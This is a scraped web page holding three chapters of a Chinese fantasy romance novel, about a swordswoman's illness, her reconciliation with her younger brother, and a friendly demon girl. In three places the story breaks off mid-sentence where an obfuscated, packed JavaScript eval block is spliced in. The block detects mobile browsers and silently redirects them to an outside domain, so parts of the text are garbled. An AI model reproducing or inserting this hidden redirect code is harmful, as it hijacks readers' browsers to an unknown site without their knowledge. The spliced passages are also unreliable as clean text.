“什么？！”沐辰风震惊道，“救你的那个大姐姐该不会叫柳小青吧？！” 小女孩:“对啊，你们认识她？” “这个不要紧，”洛纤凝弯下腰看着小女孩的后脑勺，“我问你，柳小青她为什么要救你？” “还能因为什么，当然是因为她也是……” 说到这儿才意识到自己在说什么，连忙闭上了嘴，但为时已晚。 果然，沐辰风也猜到了:“也是什么？该不会柳小青也是妖吧？！” 这可真是万万没有想到！柳小青如果是妖，那齐叔平知不知道？姬小宝又知不知道？ 小女孩知道自己说漏嘴了，连忙补救道:“大姐姐大哥哥，你们可千万不要去找小青姐姐的麻烦，小青姐姐她是个好妖，她和我一样，从来没伤过人的。” “那……”洛纤凝摸着下巴道，“柳小青的丈夫知不知道他的妻子是妖？” 小女孩摇头:“不知道，齐叔平那个胆小的家伙，要是知道小青姐姐是妖，早就连夜跑了。” “可是这不是欺骗人么？”沐灵泽有些不悦道。 当初那个狼妖也是伪装成人欺骗了阿姐的感情，因此他对于这种行为一向深恶痛绝，恨不能现在就去告诉齐叔平真相。 “这怎么能叫欺骗呢？！”小女孩高声说道，“大哥哥你有所不知，那个齐叔平，从小无父无母寄人篱下，读了这么多年的书，结果到头来连一个秀才都考不上！若不是小青姐姐看他可怜好心收留了他，他这会儿也不知道饿死在哪儿了！” “原来是这样。”沐灵泽心中的怒火瞬间平息了不少。 如此说来，柳小青也算是齐叔平的救命恩人。 他弯下腰去扒小女孩的手:“你快松开，我们要走了。” “我不！”小女孩拼命抱住洛纤凝和沐灵泽的腿，死也不肯撒手。 沐灵泽彻底没办法了，只好去看洛纤凝。 洛纤凝道:“我不是跟你说过嘛，小妹妹，我们是仙门子弟，仙门子弟是不能与妖为伍的，要是被我师父发现了，他会揍我的！” 洛纤凝话音刚落，小女孩就“哇”的一声嚎啕大哭了起来。 沐辰风道:“哎，你别哭啊，我最见不得女孩子哭了。” “我不管我不管！”小女孩趴在地上哭唧唧道，“你们一定是我阿婆画像上的那两个人，我一定不能让你们跑了，我要带你们回去见我阿婆！否则我这次偷跑出来，回去之后我阿婆一定会打死我的！呜呜呜……” “……” 洛纤凝也没招了。 就在这时，沐辰风抬起头，眼睛亮闪闪道:“女孩子一个人出门在外，确实挺危险的，阿泽，洛纤凝，你们看她多可怜，要不……我带着她吧！反正我们几个你不说他也不说，有谁知道我们与妖为伍？是吧？” 洛纤凝:“倘若我大师兄问起……” “倘若大师兄问起，我就说是我执意要带着她，与你们无关！” “那倘若你堂姐问起呢？” “那……那我就说是你要执意带着她，我堂姐就不敢对她动手了！” 洛纤凝:“……两头骗，沐辰风，你想得倒是挺周全！” “那你们同不同意嘛？” 洛纤凝仰头望着天空，道:“我没意见，你问沐灵泽吧。” 其实她也很好奇为什么那幅画像上会画着她和沐灵泽，这太诡异了。 沐灵泽也与她一个想法，因此当沐辰风看向他时，他佯装不情愿道:“那……我也没意见，随你。” “太好了！”计谋得逞，小女孩顿时喜上眉梢。她跳了起来，抱着洛纤凝的胳膊，自我介绍道:“大姐姐，大哥哥，我叫从笑，以后你们叫我笑笑就好。对了，你们叫什么啊？” 三个人挨个报了一遍姓名。 从笑道:“那我以后就叫你们阿凝姐姐，阿泽哥哥，还有阿……” “阿辰哥哥！”沐辰风喜滋滋道。 从笑:“嗯！阿辰哥哥！” 几个人从巷子里闪了出来，打算去街上逛逛，结果刚走出巷子还没几步，就远远地望见沐嫣然在一个小摊前买小糖人。 洛纤凝止住脚步，讶然道:“沐灵泽，原来你阿姐也喜欢吃甜的啊，我还以为像她这样雷厉风行的人不喜欢吃这些东西呢。” 沐灵泽故作冷漠地将脸别去一边:“不知道，她喜欢吃什么关我什么事？” 然而说归说，目光却不由自主地又移到了沐嫣然的脸上，忽然鼻子一酸，觉得她其实也挺可怜的，尽管她昨天刚扇过自己巴掌。 沐辰风如何能没察觉，他搂住沐灵泽的肩膀，笑嘻嘻道:“走，我们悄悄跟过去，看看堂姐要去哪儿。” 沐灵泽冷哼一声，道:“我才不去呢，有什么好看的？” 沐辰风:“别呀，反正我们也没什么事干，去哪儿逛不是逛？走嘛走嘛，我们就远远地跟着她，她又看不见。笑笑，你说呢？” 从笑点头如捣蒜:“嗯！阿辰哥哥去哪儿，我就去哪儿！” 几个人跟着沐嫣然走了一段路，洛纤凝道:“话说沐姐姐怎么一个人在逛？少华姐姐和路大哥他们呢？” “还能因为什么？”沐灵泽不假思索道，“当然是因为她脾气太臭，把他们都气走了呗。” “怎么说话呢？”洛纤凝用胳膊肘戳了他一下，“她好歹也是你阿姐，虽然……她昨天是打过你，但是……血浓于水啊！” 沐灵泽:“……切！” 又走了几步，从笑看着街边的小摊，拽了拽沐辰风的衣袖，道:“阿辰哥哥，我也想吃糖人。” 沐辰风低头看她:“你也想吃？走，阿辰哥哥去给你买！” 今日没有太阳，乌云密密麻麻地布满了天空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那眼神真是太可怕了，像只鹰似的，感觉马上要将从笑这只小鸡给吃掉！ 洛纤凝惊呼一声，道:“不是吧沐辰风，你堂姐的鼻子这么灵，隔着这么远都能闻到妖气？” 沐辰风不明所以:“洛纤凝，你在说什……啊！！！笑笑快跑！！！” 说时迟那时快，只见沐嫣然丝毫不给从笑逃命的机会，眨眼间就穿过人群闪到了几个人的面前，一掌劈翻了挡在从笑面前的沐辰风，拔出腰间的碧霄剑就欲取从笑的性命。 洛纤凝被沐嫣然这敏捷的身法给吓了一大跳，幸好她反应快，连忙扑上去抱住了沐嫣然，对正在发愣的从笑喊道:“笑笑快跑！沐灵泽！你还愣着干什么？！还不赶快带笑笑跑！！” 虽然她和从笑才刚认识不久，但也不能眼睁睁地看着她丧命，她还这么小，一件坏事都没有做过。 沐灵泽这才回过神来，二话不说拉着腿软的从笑就开始逃命。 糖人掉在了地上摔得粉碎，从笑顾不得去捡，紧紧跟随着沐灵泽的步伐。她从未见过像沐嫣然那样可怕的人，吓得她魂魄都快离体了，简直比她阿婆还可怕。 周围的行人不知发生了何事，纷纷散开，躲在一旁看起了热闹。 “让开！！”沐嫣然低头看着洛纤凝，大声喝道。 “不让！”洛纤凝紧紧抱着沐嫣然，感觉此人力气之大，她马上就要拦不住了，“沐姐姐，笑笑她是只好妖，她从来没有害过人，你就高抬贵手……” “让开！不要逼我动手！！” “堂姐！”沐辰风受不了了，从地上爬了起来，嘶声喊道:“你不能因为你自己被妖骗了，就觉得全天下的妖都是恶妖吧！” 沐嫣然瞳孔骤缩，一双美目仿佛充了血一般:“你说什么？！” 沐辰风从未觉得自己如此硬气过:“我说你不能因为你自己被妖骗了，就觉得全天下的妖都是恶妖！笑笑她还这么小，你怎么能这么残忍？！” “我残忍？”沐嫣然一只手抓住洛纤凝的手臂，想将她从自己身上撕开，可惜一点用没有。 “你们背着我与妖为伍，竟还有脸说我残忍？！” “沐姐姐沐姐姐！”洛纤凝连声唤道，觉得自己再不说点什么，就真的要和沐嫣然刀剑相向了，“你听我说，笑笑她可不是一般的妖，她住在旸山，你知道旸山么？就是南海边上的那个旸山，那里住着一只活了九千多年的大妖，笑笑是那只大妖的孙女，你要是杀了笑笑，你猜那只大妖会不会放过你？所以我们拦着你都是为了你好啊！你要是死了，那还怎么为父报仇？” 沐嫣然这才冷静了下来。 对，她不能死，不过是一只小妖而已，何必因此而丧命。 可她还是不甘心，除妖已经成为了她的心魔，她无法战胜自己的心魔，可又不得不承认，沐辰风说得确实有道理。 “松手。”她有气无力道。 即便她如今想追，只怕也找不到人了。这个沐灵泽，跑得倒是挺快。 洛纤凝也觉得都过去这么久了，沐灵泽和从笑肯定已经跑远了，于是缓缓松开沐嫣然。 46. 人间34 “沐姐姐，你……还好么？”见沐嫣然脸色苍白得可怕，洛纤凝没忍住关心了一句。 沐嫣然收剑归鞘，一语不发，转身朝相反的方向走去。 洛纤凝仰头看向天空，长长地舒了一口气。 真是累死她了，话说这沐姐姐的力气也太大了吧？跟头牛似的。 沐嫣然拐去了另一条街，走了没多久，天上就下起了雨，街上的行人也越来越少。她本想找个地方躲雨，可就在这时，忽然感觉自己周身无力，头重脚轻。 她走到一处巷子口，扶着面前的墙壁，喃喃自语道:“我这是怎么了？该不会快死了吧？” 这十年来，她从未生过任何病，怎么今日…… 一个男子的声音倏地在耳边响起:“姑娘，你没事吧？我看你脸色好像不太好……” “我没事。”沐嫣然不习惯让任何人看见她的不堪，拔腿就要离开，怎料下一刻就失去了知觉，只觉浑身上下一片冰凉…… 沐嫣然做了个梦，梦里她跪在阿娘的灵前，说她不要弟弟了，她只想要阿娘活着。紧接着，又是同一个地方，只不过棺材里的人从阿娘变成了阿爹。 棺材，她想，终有一日，她也会躺进去吧？ “荆逝水，荆逝水……” 她又梦到了荆逝水，梦到他吹着笛子朝自己走来，对她说:“粉面桃花两靥红，嫣然一笑醉春风。姑娘真是人如其名，一笑倾城。” 她感觉自己好像醒不过来了，似梦似醒之间，她好像听见有人在争吵，一个说:“齐叔平你是不是脑子进水了？你把她救回来干什么？！” 另一个道:“娘子，你认得她？她晕倒在路边，我总不能见死不救吧？” “不认得，就是看她不顺眼！一脸晦气样！话说她嘴里喊什么呢？” “水？对，她说她想喝水，快，倒杯水给她。” “哎哎哎，你干嘛？你还想亲自喂她喝水？你怎么不嘴对嘴喂呢？！” “那……银霜！你过来喂她！” 银霜接过齐叔平手中的水杯，用汤匙舀起一勺热水，小心翼翼地灌进了沐嫣然的口中。 不知是不是她灌多了，沐嫣然剧烈地咳嗽了起来。 柳小青斥道:“你会不会伺候人？起开我来！” 银霜只好灰溜溜地退出了房间。 柳小青端着水杯，看着床榻上昏迷不醒的沐嫣然，皱眉道:“怎么就这么巧？这人该不会是装的吧？” 但看这脸色，又实在不像是装的。 “什么这么巧？”齐叔平走上前来问道，“娘子，你该不会真的认得她吧？” “你闭嘴！给我闪一边去！” 齐叔平立刻闭上了嘴，乖乖地闪去了一边。 柳小青掰开沐嫣然的嘴，喂了两口水之后，又道:“瞧这衣裳都湿了。这位姐姐，你要是再不醒过来，我可要亲手扒光你的衣裳，为你重新换一身了。” 然而沐嫣然依旧没有醒过来，嘴里又开始喊荆逝水。 柳小青俯下身听了半天，可算听清她在喊什么了。 “什么水？她喊的压根就不是这个水！” “那是什么水？”齐叔平又闪了过来。 柳小青抬起头瞪着他:“齐叔平，你该不会是看上她了吧？” “……怎么可能？！”齐叔平心虚地狡辩道，“娘子，你拿我当什么人？我只不过是觉得她可怜罢了。我承认她是长得好看，但哪有娘子好看，是吧？” 两个人吵来吵去，沐嫣然即便不想醒，也得醒了。 她万万没有想到，睁开眼看到的第一个人，竟然是柳小青！ 她猛地坐直了身子，四处张望道:“这是哪儿？我怎么在这儿？” 柳小青笑眯眯地盯着沐嫣然，慢悠悠道:“这你就要问我家三郎了，他见你晕倒在路边，就好心把你……请回来了。” 沐嫣然顺着她的视线望去，看见一名书生模样的男子正在盯着她笑，笑得一脸殷勤。 他说:“姑娘，你醒了？是这样，你方才晕倒在路边，周围又没有医馆，我就就干脆把你带回府中了。你现在感觉怎么样？有没有好一点？” “多谢。”沐嫣然扔下这两个字，翻身下榻就要离开。 齐叔平赶忙上前两步拦住她:“姑娘，你这就要走？我方才替你请过大夫了，大夫说你气血两亏，应是常年忧思及劳累所至，若再不……” “我没事！”沐嫣然一把掀开他，大步就往外走，齐叔平在后面喊道:“姑娘！你的剑！” 沐嫣然这才想起来，回身接过碧霄剑，快步消失在了柳府。 人都没影了，齐叔平还巴巴地杵在门口望着，一副依依不舍的模样。柳小青迈着轻盈的脚步来到他身后，幽幽道:“看什么呢？这么舍不得她，不如跟她回家去如何？” 齐叔平肩膀一抖，道:“娘子，你这话是什么意思？” “我什么意思？”柳小青冷笑，“我问你齐叔平，倘若她长得丑一点，你还会把她抱回来么？！” 齐叔平咽了口唾沫，道:“娘子，你……你怎么能这么想我呢？我是那种见色起意的人么？我是见她一个人晕倒在路边，觉得她可怜才把她带回来的，换做任何一个人我都会这样做的，我总不能眼睁睁地看着她躺在那里淋雨，然后又被心怀歹意之人捡走吧？那我成什么人了？” 柳小青盯着他不说话。 齐叔平有意岔开话题:“那个……娘子，我上次和你说的那件事，你考虑得怎么样了？” 柳小青:“什么事？” “就是……孩子的事，你看咱们府中这么大，有个孩子也能热闹一些，你说对不对？” “你做梦去吧齐叔平！”柳小青一脸嫌弃地瞪着齐叔平，“这些年来你吃我的喝我的睡我的，竟还有脸让我给你生个孩子？我给你生孩子，你干什么去？！再敢跟我提这件事，小心我剁了你！” 齐叔平吃了个瘪，讪讪一笑，不再言语，心里却在琢磨到底怎样才能同这女人和离，并且分走她的钱和铺子…… 姬府。 是夜，洛纤凝躺在床榻上望着屋顶发呆，身旁躺着正在盯着她发呆的从笑。 白天时，洛纤凝将从笑一事说与了林惜英和柳惜朝，林惜英没什么意见，但柳惜朝自然是不同意她将从笑带在身边，毕竟从笑是妖，这不符合门规。不过幸好，还有沐灵泽和沐辰风在，此兄弟二人按照在巷子里说的那样，与她配合得天衣无缝，总算成功将柳惜朝糊弄过去。 余光瞥见从笑在盯着她看，想必又是在怀疑她是否是她阿婆画中之人。洛纤凝转了转眼珠，明媚的脸颊上浮现出一丝不怀好意的笑，悠悠道:“唉，长夜漫漫，甚是无聊啊！笑笑，不如让阿凝姐姐给你讲个故事听，如何？” 从笑笑得一脸天真:“好啊阿凝姐姐，你讲！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实昨日午时沐嫣然回到客栈时，祝少华就发觉沐嫣然有些不对劲，毕竟她的衣裳都是湿的，脸也白得不像话。 祝少华上去问了一嘴，沐嫣然又和往常一样，扔下一句:“我没事！”便进了屋。 到了晚上，沐嫣然也不出来吃饭，祝少华上去敲门，沐嫣然又是一句:“不想吃！” 祝少华觉得这人简直要成仙了，都快两天没吃东西了，可也没办法，毕竟她清楚沐嫣然的脾气，她说不吃就是不吃，你就算喂到她嘴边她也不会张口。 今日早上，出于担心，祝少华又去敲沐嫣然的门，结果敲了半天都没人应。她踹开门进去一看，果然，出事了。她赶紧跑去跟店小二要了一碗粥，强行给沐嫣然灌了进去，又让江少白出去请大夫。 大夫说沐嫣然忧思成疾，郁结难舒，以至气血两亏，食欲不振，长此以往，恐难活得长久。 祝少华按照大夫所说，熬了药给沐嫣然，可沐嫣然怎么都不喝，执意觉得自己的病并没有大夫说的那么严重，不需要喝药，熬一熬就过去了。 祝少华实在没办法了，想把沐嫣然打晕给她灌进去，但又怕把人打出什么毛病。转念一想，不如把这个机会让给沐灵泽，也好缓和一下他们姐弟俩的关系。 47. 人间35 沐灵泽火急火燎就往客栈跑，一路上撞到了好几个行人，好不容易到了沐嫣然的房门外，不知怎的，竟刹住了脚步，不敢进去。 洛纤凝追了上来，在一旁催促道:“愣着干嘛？快进去啊，这可是你和沐姐姐和好的大好机会，反正她现在病着，又打不过你。” 沐灵泽又好气又好笑:“你说什么呢洛纤凝？我又不是去和我阿姐干架。” 他推门进去，悄悄摸摸地来到了沐嫣然的床榻前，伸出手，摸了摸沐嫣然的额头。 这不摸不要紧，一摸吓一跳。他立马收回了手，自言自语道:“天呐，好烫，外面的太阳都没有这么烫吧？” 看来少华师姐果然没有骗他，阿姐她是真的病了。他从未见过这么憔悴的阿姐，脸白唇也白，看着怪可怜的。 他俯下身子观察着，不过须臾，就看见沐嫣然睁开眼睛瞪着他，气息微弱道:“少华呢？怎么是你？” 沐灵泽直起身子，支支吾吾道:“少华师姐她……给你熬药去了。阿姐，我知道你不想看见我，也不想喝药，但你现在病成这样，养好身子才能……继续打我，是不是？” 怎料沐嫣然看都不想看他一眼，将脸别去里侧，从嘴里蹦出两个字:“出去。” “……出去就出去！沐嫣然，你以为我愿意伺候你！什么臭脾气！活该你大热天的生病！被自己的嘴给毒的吧？！”沐灵泽被沐嫣然嫌弃的眼神给气到了，转身就往外走，“砰”的一声将房门关在了身后。 洛纤凝扒在门边，将沐灵泽的话听得一清二楚。等他出来，她连忙堵住他的去路，极力劝阻他:“沐灵泽，你怎么跟你阿姐说话呢？快回去跟她道歉。” 沐灵泽眉心一拧，道:“我做错什么了？我凭什么要跟她道歉？！” “就凭她是你阿姐，她病了！你跟一个病人计较什么？” 沐灵泽干笑一声，道:“依我看，不如就让她病着去吧，省得她身体好了，又提着剑到处砍妖，迟早要把自己砍没！” “你这臭小子胡说八道什么呢？！”祝少华此时也赶了过来，听见沐灵泽这话，二话不说一个巴掌就拍在了他的后脑勺上，“有你这样的弟弟么？怎么还咒自己亲姐姐呢？” 沐灵泽摸着后脑勺，委屈巴巴道:“我看她可从来没有把我当过亲弟弟。” 祝少华叹了口气，道:“阿泽，你知不知道师姐她这一路走来有多艰辛？她日日都在担心你，担心你会遇到危险，担心得整宿整宿睡不着觉，就算是铁打的人也该生病了。可是你呢？你是怎么对她的？她找你找了一路，你不关心她就算了，反而处处和她顶嘴，惹她生气。而且大夫说了，师姐这次真的病得很严重，不好好喝药以后是要留下病根的。你自己想吧，倘若错过了这次机会，以后你永远都别想你阿姐对你有好脸色了。” 沐灵泽思虑再三，终究还是不放心沐嫣然，转身又回到了屋里。他端起桌上早已准备好的药，搬了一个凳子放在床榻前，四平八稳地一坐，深吸一口气道:“阿……阿姐，我又回来了。你起来喝点药吧，再不喝就凉了。” 沐嫣然固执道:“我没病，喝什么药？出去。” 沐灵泽无语道:“你看你连骂我的力气都没有了，还说你没病。阿姐，你不喝药就永远好不了，好不了怎么替阿爹报仇？阿姐，我知道你怕苦，你看，我给你准备了糖，可甜了，比你昨天在街边吃的糖人还甜。阿姐，你起来喝一点吧？” 他手里揣着两颗糖，是方才洛纤凝给他的。洛纤凝身上总是有很多奇奇怪怪的糖，而且都特别好吃，特别甜。 可沐嫣然还是无动于衷:“不喝，熬一熬就过去了。” “沐嫣然！”沐灵泽“嗖”的一声从凳子上站了起来，感觉自己从来没有这么生气过，“谁跟你说生病了熬一熬就好了？生病了就应该好好喝药！你喝不喝？你要是不喝，我就不出去，我就待在这里吵死你！反正你现在病成这样，也打不过我！” 许是沐灵泽说得有道理，又许是他气焰太盛，沐嫣然这次竟一句话都未反驳。 沐灵泽放低姿态，低声下气道:“来，阿姐，张口，我喂你。阿姐，你不说话，我真的喂你了？阿姐，要不你起来一下呗，你躺着我怎么喂你？万一我弄脏你的衣裳，你又要打我了。阿姐？你睡着了？阿姐？阿姐阿姐阿姐，阿……” “够了别吵了！”沐嫣然睁开眼睛喝道，也不知道哪来的力气，“我没死也快被你吵死了！拿来！我自己喝！” 沐嫣然从榻上坐了起来，抢过沐灵泽手里的碗就要灌入口中，却又被沐灵泽给抢了回去。 沐灵泽轻声细语道:“阿姐，你看看你的手都抖成什么样子了，还是我喂你吧，而且这药很苦的，你一下都灌进去，会吐出来的。” 沐嫣然瞪着他不说话。 沐灵泽嘻嘻一笑，道:“来，阿姐，张口。” 勺子碰到了沐嫣然毫无血色的嘴唇，沐嫣然却迟迟不肯张口，就在沐灵泽以为沐嫣然不会喝，想收回勺子时，沐嫣然竟然喝了！ 这让沐灵泽喜不自胜，赶紧又舀了一勺，递了过去。 沐嫣然眉头紧锁，显然是被这药给苦到了，毕竟她长这么大，就没怎么生过病，也从来没喝过这么苦的药。 沐灵泽轻声安慰她，仿佛在哄小孩子:“是苦了些，不过良药苦口嘛，忍忍就过去了，等喝完了，就可以吃糖了。” 洛纤凝、祝少华、沐辰风和江少白四个人不知何时已偷偷将房门打开了一条缝，四双眼睛透过门缝瞧着屋里其乐融融的姐弟俩，不由心中大喜。 江少白道:“天呐，我可从来没见师姐像今天这样听话过，还是少华师姐这招管用。” 沐辰风道:“喝完了喝完了，快，把门关了。” 洛纤凝道:“等下，我看看沐姐姐吃糖了没？” “吃了吃了。”祝少华道。 沐灵泽替沐嫣然盖好被子，双手撑着下巴，道:“阿姐，你好好睡一觉，睡醒了应该就没有这么严重了。你放心，我就在这里守着你，哪儿也不去，你要是哪里不舒服，就叫我。” 以为沐灵泽只是说说而已，沐嫣然偏过头去并未搭理他，谁知一觉醒来，沐灵泽竟真的守在她榻前，睡得不省人事。 至于么？她又不是快死了。 她情不自禁地伸出手，摸了摸他的头发，才恍然惊觉，她好像从未与自己的亲弟弟如此亲近过。 只轻轻一摸，就把沐灵泽给摸醒了。 沐灵泽抬起头看着沐嫣然，眼睛睁得圆溜溜的，脸上刻满了担心二字:“阿姐，你醒了？你现在感觉怎么样？身上还烫么？” 沐嫣然没有回答，反而又去摸沐灵泽的脸颊，脸现愧色:“还疼么？” 沐灵泽低下头，躲开了沐嫣然的手:“早就不疼了。” “对不起，阿姐不应该对你动手。” 沐灵泽:“……” 天呐，阿姐这是在跟他道歉？还有她说话的语气，竟然可以这么轻，这么慢。 他可从未见过这么温柔的阿姐。 他眼也不眨地盯着沐嫣然，酝酿了许久，才道:“我也有错，我不应该背着阿姐去那么远的地方，让阿姐日日担心我，饭也吃不好，觉也睡不好，也不应该跟阿姐顶嘴，惹阿姐不开心。” 他紧紧抓住沐嫣然的手，用乞求的眼神看着她:“阿姐，你以后不要总冷着一张脸了好不好？大夫说了，你老是这样，会活不长的，你要是有个三长两短，我怎么办？碧落门怎么办？” 沐嫣然唇角向上，微微弯起，道:“别听大夫胡说八道，我怎么可能会活不长。我要是死了，你和阿辰岂不是要反了天了。” “……阿姐，你在对我笑么？”沐灵泽呆呆地望着沐嫣然嘴角的弧度，一时有些不敢相信自己的眼睛。 阿姐竟然会对他笑？ 从小到大，他只见过阿姐对别人笑，可从未见过阿姐对自己笑。 沐嫣然有些茫然:“我以前没有对你笑过么？” 她不知道是不是她说错了什么，说完这句话后，沐灵泽突然就哭了起来，边哭边哽咽道:“没有！阿姐你……你从来没有对我笑过，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158165|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只对少华师姐他们笑过，你竟然……都不记得！呜呜呜……” 沐嫣然:“……” 不就是一个笑么？至于哭成这样么？ 她慌忙抬起手帮他擦眼泪，并向他承诺:“阿姐错了，阿姐以后的笑只留给你一个人，可好？” “……那倒也不必，否则少华师姐他们该骂我了。”沐灵泽停止哭泣，摸了摸沐嫣然的额头，“阿姐，你身上好像没那么烫了，你要不要下去吃点东西？我听少华师姐说，你都两天没好好吃饭了，或者你想吃什么，我去给你买。” 沐嫣然淡淡一笑，道:“我吃什么都行。” 正是用晚饭的时辰，洛纤凝见沐嫣然无恙，便回了姬府，其余五个人商量一番后，来到了禾县最大的酒楼，要了一桌极其丰盛的饭菜。 期间，沐灵泽道:“对了，少川师兄呢？怎么不见他人？” 这半日来，他一颗心都扑在沐嫣然身上，竟将路少川忘得一干二净。按理说阿姐病了，路少川肯定比他还着急，可是他人呢？ 祝少华和江少白闻言皆是一怔，偷偷去看沐嫣然。只见沐嫣然夹菜的动作在半空中停留了一下，随即便恢复如常。 祝少华道:“少川他回碧落门了。” 沐辰风道:“少华师姐，少川师兄到底为什么要回碧落门？我刚才问你，你也没说清楚。” 沐嫣然放下筷子，道:“是我让他回去的。” “为什么阿姐？”沐灵泽不解道，“好端端的，为什么要把少川师兄赶走，他惹你生气了？不应该啊，他那么喜欢……” “阿泽！”祝少华打断沐灵泽的话，用眼神示意他别问了。 沐灵泽立马闭上了嘴巴。 沐嫣然给自己斟了一杯酒，还没喝到口中，就被人中途拦下。 祝少华抓住沐嫣然的手腕，委婉劝道:“师姐，你病还未好，不宜饮酒。” “对啊阿姐，”沐灵泽也道，“你才刚好了一点，就别喝酒了。” 沐嫣然只好放下了酒杯，重新吃起了菜，然而吃了好几口，愣是尝不出任何味道，索性丢下筷子起身朝外走去。 “师姐！你去哪儿？”祝少华喊道，心道这人怎么又这样，吃着吃着就不告而别，动不动就扔筷子，筷子招她惹她了？什么臭脾气！ 沐灵泽抄起破空剑就追了过去，顺便扔下一句:“少华师姐你们慢慢吃，我跟过去看看。” “阿姐！”沐灵泽追出酒楼，快步跟上沐嫣然的步伐。 沐嫣然放慢脚步，扭头看他:“你不好好吃饭，跟出来干什么？” “我这不是……担心你嘛。”沐灵泽实话实说。 “我这么大一个人，有什么好担心的？” 此时已至黄昏，夕阳西下，天气也不像白日里那么热了，街上熙熙攘攘，姐弟二人走在其中，有一句没一句地聊了起来。 沐灵泽道:“阿姐，你对少川师兄，真的没有一点感觉么？” 沐嫣然望着前方，不答反问:“那你呢？你有喜欢的姑娘么？” “我？”沐灵泽挠了挠头，有些不好意思，“阿姐，我问你呢，你干嘛扯到我身上？” “我不知道。” “那我也不知道！” 沐嫣然瞥了眼沐灵泽，忽然笑了起来。 沐灵泽疑惑道:“阿姐，你笑什么？” 沐嫣然道:“你还小，我跟你说了你也不懂。” 沐灵泽顿时不开心了，跳到沐嫣然的面前大声抗议道:“我不小了！阿姐你看，我都已经比你高了！” “个头高能说明什么？”沐嫣然抬起手摸了摸自家弟弟的脑袋，头一次觉得他这么可爱。 “我不管！”沐灵泽闪回到了沐嫣然的身侧，“反正我已经长大了！以后你不要总拿我当小孩子！” 沐嫣然点点头道:“嗯，好。” 走了一会儿，沐灵泽深觉无聊，对发着呆的沐嫣然道:“阿姐，我给你讲讲我在长绝山学艺时发生的事吧，你要听么？” 沐嫣然莞尔一笑，道:“好啊。” 48. 人间36 太阳已经彻底沉下去了，洛纤凝躺在红木摇椅上，一只手拎着一串葡萄，一只捏着一把蒲扇，仰头望着渐渐漆黑的夜空，一脸的舒适惬意。 这红木摇椅本是西门翠花命人搬到林惜英房间的，林惜英还没来得及碰一下，洛纤凝就已经先躺进去了。 从笑蹲在洛纤凝身边，一口一口地吃着葡萄，问道:“阿凝姐姐，怎么不见你那位大师兄？” 洛纤凝摇着扇子道:“他呀，八成是去劝姬小宝改邪归正了，总不能在姬府白吃白喝吧？唉，真是辛苦大师兄了。” 从笑愤愤然道:“这个姬小宝，真是太讨厌了，他一点都配不上小青姐姐！对了，阿泽哥哥和阿辰哥哥怎么还不回来？都大半天没看见他们俩了。” “不是跟你说了嘛，沐姐姐生病了，他们去陪沐姐姐了。” 一提到沐嫣然，从笑就忍不住浑身发抖:“这个沐姐姐，真是太可怕了，她什么时候离开这里啊？她再待下去，我怕她会发现小青姐姐也是妖！” 洛纤凝咬了一颗葡萄，道:“她病了，估计没个三五天，是走不了的，而且她都病成那样了，哪里还是你小青姐姐的对手，你就放心吧。”又扭头朝屋里喊道:“师姐！你出来吃葡萄啊，你老待在屋里不闷么？” 林惜英依言迈出屋来，盯着地面沉思道:“奇怪。” “奇怪什么？”洛纤凝抬头看她。 林惜英道:“今日西门夫人怎么没来向我献殷勤？按理说她白天不来，晚上必来。” 洛纤凝哈哈大笑了起来:“谁知道呢！师姐，你该不会真的想留下来给她当儿媳吧？” 林惜英瞪她一眼，伸手抢走了她手里的葡萄:“再胡说八道，就给我下来。” “哎呀！”洛纤凝伸出手叫道，“快还给我师姐！这串是我的，我已经舔过了，你不能吃了！” 林惜英:“……你恶不恶心？” 洛纤凝:“哼！” 林惜英将葡萄扔了回去，洛纤凝连忙接住，揪下一颗扔进了嘴里，忽然，耳边传来从笑“咯咯咯”的笑声，她觑她一眼，问道:“笑笑，你笑什么？” 从笑笑得眉眼弯弯:“阿凝姐姐，惜英姐姐，和你们待在一起真有趣！” 洛纤凝像是受到了夸赞一般，晃了晃脚丫子，眉飞色舞道:“那当然了！凡是我洛纤凝在的地方，一定是世上最有趣的地方！” 从笑:“嗯！我也觉得！” 三个人言笑晏晏，浑然不觉她们的对话早已被第四个人听了去。 西门翠花跌跌撞撞地回到屋里，扶着门框道:“这个柳小青，她竟然是妖？他们几个明明知道她是妖，居然不除了她？这还了得！” 方才她像前几日那样跑去向林惜英献殷勤，谁知刚走到拐角处，就听见那个叫从笑的小女孩在骂她家小宝，说小宝配不上柳小青。她当即一肚子气，挽起袖子就要冲出去教训从笑一顿，结果又听见她说柳小青也是妖！ 她吓得心都快跳出胸腔了，慌忙轻手轻脚地折了回来。 还好她西门翠花是经过大风大浪的人，否则早就尖叫出声被那三人发现了。 “不行，”她自言自语道，“再这样下去，小宝迟早要被那个妖怪给吸干精气，我得想个办法把她除了。沐姐姐？对，去找那个姓沐的，她肯定有办法……” 如此想着，第二日一大早，她就找来了沐嫣然下榻的客栈。 那日她看得清清楚楚，沐嫣然下榻的客栈离花容阁并不远。 沐嫣然正在房中喝药，就听见店小二在外面敲门，说是有人找她。 祝少华道:“师姐你先喝药，我出去看看。” 过不多时，祝少华就带着西门翠花进了屋。 沐嫣然听完西门翠花的叙述后，登时怒从心来:“你是说，柳少侠他们早就知道柳小青是妖，却置之不理，放任她玩弄令郎的感情？！” 